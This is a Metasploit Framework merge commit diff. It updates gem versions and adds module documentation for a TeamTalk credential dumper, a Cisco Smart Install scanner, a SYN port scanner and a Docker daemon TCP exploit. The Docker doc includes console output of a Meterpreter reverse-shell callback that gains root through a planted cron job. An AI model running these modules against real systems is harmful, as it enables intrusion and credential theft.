Skip to content

Commit b218cc3

Browse files
zombieCraigzombieCraig
committed
Merge branch 'master' into hw_auto_padding_fix
2 parents 363e118 + 7b87915 commit b218cc3

File tree

307 files changed

+4289
-703
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

307 files changed

+4289
-703
lines changed

‎.yardopts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
--exclude samples/
33
--exclude \.ut\.rb/
44
--exclude \.ts\.rb/
5-
--files CONTRIBUTING.md,COPYING,HACKING,LICENSE
5+
--files CONTRIBUTING.md,COPYING,LICENSE
66
app/**/*.rb
77
lib/msf/**/*.rb
88
lib/metasploit/**/*.rb

‎Gemfile.lock

Lines changed: 10 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
PATH
22
remote: .
33
specs:
4-
metasploit-framework (4.16.4)
4+
metasploit-framework (4.16.7)
55
actionpack (~> 4.2.6)
66
activerecord (~> 4.2.6)
77
activesupport (~> 4.2.6)
@@ -17,7 +17,7 @@ PATH
1717
metasploit-concern
1818
metasploit-credential
1919
metasploit-model
20-
metasploit-payloads (= 1.3.1)
20+
metasploit-payloads (= 1.3.7)
2121
metasploit_data_models
2222
metasploit_payloads-mettle (= 0.2.2)
2323
msgpack
@@ -107,10 +107,10 @@ GEM
107107
backports (3.8.0)
108108
bcrypt (3.1.11)
109109
bcrypt_pbkdf (1.0.0)
110-
bindata (2.4.0)
110+
bindata (2.4.1)
111111
bit-struct (0.16)
112112
builder (3.2.3)
113-
coderay (1.1.1)
113+
coderay (1.1.2)
114114
diff-lcs (1.3)
115115
dnsruby (1.60.2)
116116
docile (1.1.5)
@@ -150,7 +150,7 @@ GEM
150150
activemodel (~> 4.2.6)
151151
activesupport (~> 4.2.6)
152152
railties (~> 4.2.6)
153-
metasploit-payloads (1.3.1)
153+
metasploit-payloads (1.3.7)
154154
metasploit_data_models (2.0.15)
155155
activerecord (~> 4.2.6)
156156
activesupport (~> 4.2.6)
@@ -168,9 +168,9 @@ GEM
168168
msgpack (1.1.0)
169169
multipart-post (2.0.0)
170170
nessus_rest (0.1.6)
171-
net-ssh (4.1.0)
172-
network_interface (0.0.1)
173-
nexpose (6.1.1)
171+
net-ssh (4.2.0)
172+
network_interface (0.0.2)
173+
nexpose (7.0.0)
174174
nokogiri (1.8.0)
175175
mini_portile2 (~> 2.2.0)
176176
octokit (4.7.0)
@@ -220,7 +220,7 @@ GEM
220220
ffi
221221
rbnacl-libsodium (1.0.13)
222222
rbnacl (>= 3.0.1)
223-
recog (2.1.12)
223+
recog (2.1.15)
224224
nokogiri
225225
redcarpet (3.4.0)
226226
rex-arch (0.1.11)
@@ -252,7 +252,7 @@ GEM
252252
rex-powershell (0.1.72)
253253
rex-random_identifier
254254
rex-text
255-
rex-random_identifier (0.1.3)
255+
rex-random_identifier (0.1.4)
256256
rex-text
257257
rex-registry (0.1.3)
258258
rex-rop_builder (0.1.3)

‎HACKING

Lines changed: 0 additions & 38 deletions
This file was deleted.

‎documentation/modules/auxiliary/gather/teamtalk_creds.md

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
## Description
2+
3+
This module retrieves user credentials from BearWare TeamTalk.
4+
5+
Valid administrator credentials are required.
6+
7+
Starting from version 5, TeamTalk allows users to login using a username and password combination. The username and password are stored on the server in clear text and can be retrieved remotely by any user with administrator privileges.
8+
9+
10+
## Vulnerable Application
11+
12+
[TeamTalk 5](http://www.bearware.dk/) is a freeware conferencing system which allows multiple users to participate in audio and video conversations. The TeamTalk install file includes both client and server application. A special client application is included with accessibility features for visually impaired.
13+
14+
This module has been tested successfully on TeamTalk versions 5.2.2.4885 and 5.2.3.4893.
15+
16+
The TeamTalk software is available on the [BearWare website](http://www.bearware.dk/) and on [GitHub](https://github.com/BearWare/TeamTalk5).
17+
18+
19+
## Verification Steps
20+
21+
1. Start `msfconsole`
22+
2. Do: `use auxiliary/gather/teamtalk_creds`
23+
3. Do: `set rhost <RHOST>`
24+
4. Do: `set rport <RPORT>` (default: `10333`)
25+
5. Do: `set username <USERNAME>` (default: `admin`)
26+
6. Do: `set password <PASSWORD>` (default: `admin`)
27+
7. Do: `run`
28+
8. You should get credentials
29+
30+
31+
## Scenarios
32+
33+
```
34+
[*] 172.16.191.166:10333 - Found TeamTalk (protocol version 5.2)
35+
[+] 172.16.191.166:10333 - Authenticated successfully
36+
[+] 172.16.191.166:10333 - User is an administrator
37+
[*] 172.16.191.166:10333 - Found 5 users
38+
39+
TeamTalk User Credentials
40+
=========================
41+
42+
Username Password Type
43+
-------- -------- ----
44+
debbie 1234567890 1
45+
murphy 934txs 2
46+
quinn ~!@#$%^&*()_+{}|:" <>?;',./ 2
47+
sparks password 2
48+
stormy 1
49+
50+
[+] 172.16.191.166:10333 - Credentials saved in: /root/.msf4/loot/20170724092809_default_172.16.191.166_teamtalk.user.cr_034806.txt
51+
[*] Auxiliary module execution completed
52+
```
53+

‎documentation/modules/auxiliary/scanner/misc/cisco_smart_install.md

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
## Vulnerable Application
2+
3+
Any system exposing the Cisco Smart Install (SMI) protocol, which typically runs on TCP port 4786.
4+
5+
## Verification Steps
6+
7+
1. Do: ```use auxiliary/scanner/misc/cisco_smart_install```
8+
2. Do: ```set [RHOSTS]```, replacing ```[RHOSTS]``` with a list of hosts to test for the presence of SMI
9+
3. Do: ```run```
10+
4. If the host is exposing an identifiable SMI instance, it will print the endpoint.
11+
12+
13+
## Scenarios
14+
15+
```
16+
msf auxiliary(cisco_smart_install) > run
17+
18+
[*] Scanned 57 of 512 hosts (11% complete)
19+
[*] Scanned 105 of 512 hosts (20% complete)
20+
[*] Scanned 157 of 512 hosts (30% complete)
21+
[*] Scanned 212 of 512 hosts (41% complete)
22+
[*] Scanned 256 of 512 hosts (50% complete)
23+
[*] Scanned 310 of 512 hosts (60% complete)
24+
[*] Scanned 368 of 512 hosts (71% complete)
25+
[*] Scanned 413 of 512 hosts (80% complete)
26+
[*] Scanned 466 of 512 hosts (91% complete)
27+
[+] a.b.c.d:4786 - Fingerprinted the Cisco Smart Install protocol
28+
[*] Scanned 512 of 512 hosts (100% complete)
29+
[*] Auxiliary module execution completed
30+
```

‎documentation/modules/auxiliary/scanner/portscan/syn.md

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
## Description
2+
3+
This module will attempt to initiate a TCP/IP connection with ports on the victim machine. It is this done by sending a SYN packet, and if victim replies with a SYN/ACK packet
4+
that means the port is open. Then the attacker sends a RST packet, and as a result the victim's machine assumes that there is a communication error.
5+
The attacker now knows the state of port without a full tcp connection. Major benefit of TCP SYN scan is that most logging applications do not log the TCP/RST by default.
6+
7+
## Options
8+
9+
**PORTS**
10+
11+
This is the list of TCP ports to test on each host.
12+
Formats like `1-3`, `1,2,3`, `1,2-3`, etc. are all supported. Default
13+
options is to scan `1-10000` ports.
14+
15+
**TIMEOUT**
16+
17+
Maximum time to wait for a response. The default value is 500 milliseconds.
18+
19+
**VERBOSE**
20+
21+
Gives detailed message about the scan of all the ports. It also shows the
22+
ports that were closed.
23+
24+
## Verification Steps
25+
26+
1. Do: `use auxiliary/scanner/portscan/syn`
27+
2. Do: `set RHOSTS [IP]`
28+
3. Do: `set PORTS [PORTS]`
29+
4. Do: `run`
30+
5. If any of the TCP ports were open they will be discovered, status will be printed indicating as such.
31+
32+
## Scenarios
33+
34+
### Metaspliotable 2
35+
36+
```
37+
msf > use auxiliary/scanner/portscan/syn
38+
msf auxiliary(syn) > set RHOSTS 192.168.45.159
39+
RHOSTS => 192.168.45.159
40+
msf auxiliary(syn) > set PORTS 1-10000
41+
PORTS => 1-10000
42+
msf auxiliary(syn) > run
43+
[*] TCP OPEN 192.168.45.159:22
44+
[*] TCP OPEN 192.168.45.159:23
45+
[*] TCP OPEN 192.168.45.159:111
46+
[*] TCP OPEN 192.168.45.159:445
47+
[*] TCP OPEN 192.168.45.159:512
48+
[*] TCP OPEN 192.168.45.159:513
49+
[*] TCP OPEN 192.168.45.159:1099
50+
[*] TCP OPEN 192.168.45.159:2121
51+
[*] TCP OPEN 192.168.45.159:3306
52+
[*] TCP OPEN 192.168.45.159:3632
53+
[*] TCP OPEN 192.168.45.159:6000
54+
[*] TCP OPEN 192.168.45.159:6697
55+
[*] TCP OPEN 192.168.45.159:8009
56+
[*] Scanned 1 of 1 hosts (100% complete)
57+
[*] Auxiliary module execution completed
58+
59+
```

‎documentation/modules/exploit/linux/http/docker_daemon_tcp.md

Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
# Vulnerable Application
2+
Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
3+
with tls but without tls-auth), an attacker can create a Docker
4+
container with the '/' path mounted with read/write permissions on the
5+
host server that is running the Docker container. As the Docker
6+
container executes command as uid 0 it is honored by the host operating
7+
system allowing the attacker to edit/create files owned by root. This
8+
exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
9+
the host server.
10+
11+
The Docker image should exist on the target system or be a valid image
12+
from hub.docker.com.
13+
14+
## Docker Engine
15+
By default, Docker runs via a non-networked unix socket. It can also
16+
optionally communicate using a tcp socket.
17+
18+
> Warning: Changing the default docker daemon binding to a TCP port or
19+
Unix docker user group will increase your security risks by allowing
20+
non-root users to gain root access on the host. Make sure you control
21+
access to docker. If you are binding to a TCP port, anyone with access
22+
to that port has full Docker access; so it is not advisable on an open
23+
network. -- [from docs.docker.com][1]
24+
25+
This module was tested with Debian 9 and CentOS 7 as the host operating
26+
system and with Docker CE 17.06.0-ce and Docker Engine 1.13.1.
27+
28+
### Install Debian 9
29+
First [install Debian 9][2] with default task selection. This includes
30+
the "*standard system utilities*".
31+
32+
### Install Docker
33+
Then install a supported version of [Docker on Debian system][3].
34+
35+
```bash
36+
# TL;DR
37+
apt-get remove docker docker-engine
38+
apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common
39+
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
40+
apt-key fingerprint 0EBFCD88
41+
# Verify that the key ID is 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88.
42+
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"
43+
apt-get update
44+
apt-get install docker-ce
45+
docker run hello-world
46+
```
47+
48+
### Activate unprotected tcp socket
49+
Once Docker is installed, customize the Docker daemon options and add
50+
the tcp socket `-H tcp://0.0.0.0:2375` option. On Debian override the
51+
settings from `/lib/systemd/system/docker.service` with a new file
52+
`/etc/systemd/system/docker.service`.
53+
54+
Further information: [docker systemd][4] and [docker daemon options][5].
55+
56+
```bash
57+
# TL;DR
58+
echo "[Service]
59+
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375" | tee /etc/systemd/system/docker.service
60+
systemctl daemon-reload
61+
systemctl restart docker
62+
curl http://127.0.0.1:2375/_ping ; echo
63+
OK
64+
```
65+
66+
### Mitigation
67+
68+
[Disable][5] or [protect][6] the Docker tcp socket.
69+
70+
# Exploitation
71+
This module is designed for the attacker to leverage, creation of a
72+
Docker container with out authentication through the Docker tcp socket
73+
to gain root access to the hosting server of the Docker container.
74+
75+
## Options
76+
- DOCKERIMAGE is the locally or from hub.docker.com available image you are wanting to have Docker to deploy for this exploit.
77+
- CONTAINER_ID if you want to have a human readable name for your container, else it will be randomly generated
78+
79+
## Steps to exploit with module
80+
- [ ] Start msfconsole
81+
- [ ] use exploit/linux/http/docker_daemon_tcp
82+
- [ ] Set the options appropriately and set VERBOSE to true
83+
- [ ] Verify it creates a Docker container and it successfully runs
84+
- [ ] After a minute a session should be opened from the Docker server
85+
86+
## Example Output
87+
```
88+
msf > use exploit/linux/http/docker_daemon_tcp
89+
msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
90+
RHOST => 192.168.66.23
91+
msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp
92+
PAYLOAD => python/meterpreter/reverse_tcp
93+
msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
94+
LHOST => 192.168.66.10
95+
msf exploit(docker_daemon_tcp) > set VERBOSE true
96+
VERBOSE => true
97+
msf exploit(docker_daemon_tcp) > check
98+
[+] 192.168.66.23:2375 The target is vulnerable.
99+
msf exploit(docker_daemon_tcp) > run
100+
101+
[*] Started reverse TCP handler on 192.168.66.10:4444
102+
[*] Check if images exist on the target host
103+
[*] Image is not available on the target host
104+
[*] Trying to pulling image from docker registry, this may take a while
105+
[*] Setting container json request variables
106+
[*] Creating the docker container command
107+
[*] The docker container is created, waiting for deploy
108+
[*] Waiting for the cron job to run, can take up to 60 seconds
109+
[*] Waiting until the docker container stopped
110+
[*] The docker container has been stopped, now trying to remove it
111+
[*] Sending stage (40411 bytes) to 192.168.66.23
112+
[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
113+
[+] Deleted /etc/cron.d/lVoepNpy
114+
[+] Deleted /tmp/poasDIuZ
115+
116+
117+
meterpreter > sysinfo
118+
Computer : debian
119+
OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26)
120+
Architecture : x64
121+
System Language : en_US
122+
Meterpreter : python/linux
123+
meterpreter >
124+
```
125+
126+
[1]:https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket
127+
[2]:https://www.debian.org/releases/stretch/amd64/index.html.en
128+
[3]:https://docs.docker.com/engine/installation/linux/docker-ce/debian/
129+
[4]:https://docs.docker.com/engine/admin/systemd/
130+
[5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options
131+
[6]:https://docs.docker.com/engine/security/https/

0 commit comments

Comments
 (0)